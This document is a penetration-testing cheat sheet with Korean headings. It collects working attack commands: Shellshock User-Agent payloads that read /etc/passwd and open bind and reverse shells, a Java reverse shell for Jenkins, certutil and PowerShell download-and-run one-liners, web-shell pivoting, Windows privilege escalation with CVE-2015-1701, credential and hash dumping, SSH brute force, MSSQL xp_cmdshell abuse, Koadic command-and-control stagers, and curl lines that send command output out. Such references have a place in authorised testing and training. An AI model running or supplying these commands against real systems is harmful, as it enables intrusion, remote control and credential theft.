
# Port Discovery - Full Port Scans (UDP is very slow)
$ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
$ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt

# Print TCP\UDP Ports
$ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
$ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

# Detect Service Version
$ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt

# Operating System Scan
$ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt

# OS and Service Detect
$ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

### 서버를 Shellshock에 악용```
# A tool to find and exploit servers vulnerable to Shellshock
# https://github.com/nccgroup/shocker
$ ./shocker.py -H 192.168.56.118  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

# cat file
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# bind shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

# reverse Shell
$ nc -l -p 443
$ echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 192.168.56.118 80

### DNS를 통한 터널링으로 방화벽 우회```
# Tunneling Data and Commands Over DNS to Bypass Firewalls
# dnscat2 supports "download" and "upload" commands for getting files (data and programs) to and from # the victim’s host.

# server (attacker)
$ apt-get update
$ apt-get -y install ruby-dev git make g++
$ gem install bundler
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server
$ bundle install
$ ruby ./dnscat2.rb
dnscat2> New session established: 16059
dnscat2> session -i 16059

# client (victum)
# https://downloads.skullsecurity.org/dnscat2/
# https://github.com/lukebaggett/dnscat2-powershell
$ dnscat --host <dnscat server_ip>

### 비대화형 셸을 통한 내부 네트워크 피보팅```
# generate ssh key with shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"

# add tempuser at attacker ps
$ useradd -m tempuser
$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh
$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys
$ chmod 700 /home/tempuser/.ssh/authorized_keys
$ chown -R tempuser:tempuser /home/tempuser/.ssh

# create reverse ssh shell
$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>"

### Gotty를 통한 Metasploit 웹 터미널```
$ service postgresql start
$ msfdb init
$ apt-get install golang
$ mkdir /root/gocode
$ export GOPATH=/root/gocode
$ go get github.com/yudai/gotty
$ gocode/bin/gotty -a 127.0.0.1 -w msfconsole
# open in browser http://127.0.0.1:8080

### Exiftool - 파일의 메타 정보 읽기 및 쓰기```
$ wget http://www.sno.phy.queensu.ca/~phil/exiftool/Image-ExifTool-10.13.tar.gz
$ tar xzf Image-ExifTool-10.13.tar.gz
$ cd Image-ExifTool-10.13
$ perl Makefile.PL
$ make
$ ./exiftool main.gif

### Win7에서 표준 사용자 reverse_shell로 SYSTEM 획득```
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/

# check the list of patches applied on the target machine
# to get the list of Hotfixes installed, type in the following command.
wmic qfe get
wmic qfe | find "3057191"

# Upload compile exploit to victim machine and run it
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe

# by default exploite exec cmd.exe with SYSTEM privileges, we need to change source code to run danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 download it and navigate to the file "main.c"

# dump clear text password of the currently logged in user using wce.exe
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w

# dump hashes of other users with pwdump7
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net

### Nmap을 사용한 DNS 레코드 무차별 대입```
$ nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
$ nmap --script dns-brute www.foo.com

### MS08-067 - Metasploit을 사용하지 않고```
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

### bash에서 바이너리 전체 경로를 가로채서 자신의 코드를 실행하기```
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
$ export -f /usr/bin/foo
$ /usr/bin/foo
# It works ;)

### patator를 사용한 SSH 로그인 무차별 대입```
root:~# patator ssh_login host=192.168.0.18 user=FILE0 password=FILE1 0=word.txt 1=word.txt -x ignore:mesg='Authentication failed.'

### OpenSSH 사용자 열거 타이밍 공격 악용```
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

# Jenkins 리버스 쉘```
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

# 피해자 기기에 파일 다운로드```
cmd /c certutil -urlcache -split -f http://127.0.0.1/shell.exe c:\Temp\shell.exe && C:\temp\shell.exe

powershell -v 2 -exec bypass IEX(New-Object Net.WebClient).downloadString("http://127.0.0.1/shell.ps1")

**MetaSploit**```
msf > use auxiliary/scanner/mssql/mssql_ping

**MetaSploit**```
msf > use auxiliary/admin/mssql/mssql_enum
msf > use auxiliary/scanner/mssql/mssql_login
Set it up PASS_FILE and RHOSTS.

**FScrack**```
python FScrack.py -h 192.168.1 -p 1433 -d pass.txt

**MetaSploit**```
msf > auxiliary/admin/mssql/mssql_exec
msf > auxiliary/admin/mssql/mssql_sql 
Rebound
msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp 

**파이썬 [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py) 스크립트**```
Usage : mssql_shell Change MSSQL_SERVE , MSSQL_USERNAME and MSSQL_PASSWORD

그러면```
exec sp_configure ‘show advanced options’, 1
go
reconfigure
go
exec sp_configure ‘xp_cmdshell’, 1
go
reconfigure
go
xp_cmdshell 'dir C:\'
go

에이전트 컴파일```
$ cd merlin/cmd/merlinagent
$ sudo GOOS=windows GOARCH=386 go build

## Koadic```
$ cd koadic
$ ./koadic
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

        -{ COM Command & Control }-
      Windows Post-Exploitation Tools
             Endless Intellect

            ~[ Version:  0xA ]~
            ~[ Stagers:    5 ]~
            ~[ Implants:  33 ]~

(koadic: sta/js/mshta)$ info

        NAME        VALUE               REQ     DESCRIPTION     
        -----       ------------        ----    -------------   
        SRVHOST     192.168.1.11        yes     Where the stager should call home
        SRVPORT     9999                yes     The port to listen for stagers on
        EXPIRES                         no      MM/DD/YYYY to stop calling home
        KEYPATH                         no      Private key for TLS communications
        CERTPATH                        no      Certificate for TLS communications
        MODULE                          no      Module to run once zombie is staged

(koadic: sta/js/mshta)$ set SRVPORT 1245
[+] SRVPORT => 1245
(koadic: sta/js/mshta)$ run 
[+] Spawned a stager at http://192.168.1.11:1245/c26qp
[!] Don't edit this URL! (See: 'help portfwd')
[>] mshta http://192.168.1.11:1245/c26qp

# 피해자 머신에 파일 다운로드```
bitsadmin  /transfer mydownloadjob  /download  /priority normal  ^http://example.com/filename.zip  C:\Users\username\Downloads\filename.zip

해시 덤프```
/usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

# 팁과 트릭
### RCE POC
다음 트릭을 RCE POC로 사용할 수 있습니다(일부 작업에서는 클라이언트가 RCE POC에 대해 제한된 테스트를 요청합니다).
## Ping
Pentester 머신```bash
tcpdump -nni <eth-adapter> -e icmp[icmptype] == 8

-c 인수를 사용하여 핑(ping)의 수를 지정할 수 있습니다. ICMP 요청이 수신되면 RCE가 달성됩니다

## Curl

POST 요청으로 명령을 실행하고 데이터를 수신합니다```bash
curl -d "$(id)" 127.0.0.1:9988

## Burpsuite Collaborator 
burpcollaborator를 POC로 사용
* Linux```bash
curl <burp-collaborator.com>